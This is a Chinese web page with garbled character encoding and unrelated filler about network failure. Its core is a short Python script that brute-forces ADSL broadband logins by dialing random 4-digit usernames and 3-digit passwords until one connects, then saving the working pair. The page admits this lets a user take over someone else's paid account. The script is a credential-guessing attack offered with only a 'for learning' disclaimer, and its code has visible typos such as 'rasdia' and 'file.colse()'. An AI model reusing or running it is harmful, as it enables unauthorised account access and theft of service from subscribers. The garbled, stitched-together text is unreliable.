網(wǎng)絡(luò)故障(network failure)是指由于硬件的問(wèn)題、軟件的漏洞、病毒的侵入等引起網(wǎng)絡(luò)無(wú)法提供正常服務(wù)或降低服務(wù)質(zhì)量的狀態(tài)。 基于python實(shí)現(xiàn)ADSL寬帶帳戶的獲取和寬帶撥號(hào) 基本思路: 1、Internet訪問(wèn)研究(實(shí)驗(yàn)環(huán)境是電信網(wǎng)絡(luò)電纜訪問(wèn)ADSL,撥號(hào)PPPOE) 2、研究了寬帶帳戶和密碼生成的規(guī)則(實(shí)驗(yàn)環(huán)境,寬帶帳戶由4個(gè)數(shù)字組成,密碼由3個(gè)數(shù)字組成),發(fā)現(xiàn)帳戶和密碼非常簡(jiǎn)單 3、使用python調(diào)用系統(tǒng)的內(nèi)置rasdia程序進(jìn)行撥號(hào)。如果撥號(hào)成功,則該帳戶有效,并停止撥號(hào)。 (如果撥號(hào)成功,則該號(hào)碼將在首次訪問(wèn)互聯(lián)網(wǎng)后的一個(gè)月內(nèi)有效。如果繼續(xù)檢測(cè)到該號(hào)碼,則可能導(dǎo)致另一方財(cái)產(chǎn)大量丟失) 4、該程序僅用于學(xué)習(xí),請(qǐng)勿將其用于非法目的,否則后果自負(fù)。 源代碼: #!/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'laiyu' import os import random import time if __name__ == "__main__": not_found = 1 while not_found: # 隨機(jī)生成寬帶帳號(hào)和密碼 username = str(random.randint(1000, 9999)) passwd = str(random.randint(100, 999)) # 寬帶撥號(hào) cmd_str = "rasdia" + " " + "寬帶連接" + " " + username + " " + passwd not_found = os.system(cmd_str) time.sleep(10) # 撥號(hào)成功,保存帳號(hào)密碼 if not_found == 0: file = open("d:\\test.txt", "w") file.write(username+ "" + passwd) file.colse()
當(dāng)今,越來(lái)越多的業(yè)務(wù)應(yīng)用運(yùn)行于網(wǎng)絡(luò)架構(gòu)之上,保障網(wǎng)絡(luò)的持續(xù)、高效、安全的運(yùn)行,成為網(wǎng)絡(luò)管理者面臨的巨大挑戰(zhàn)。 |
溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!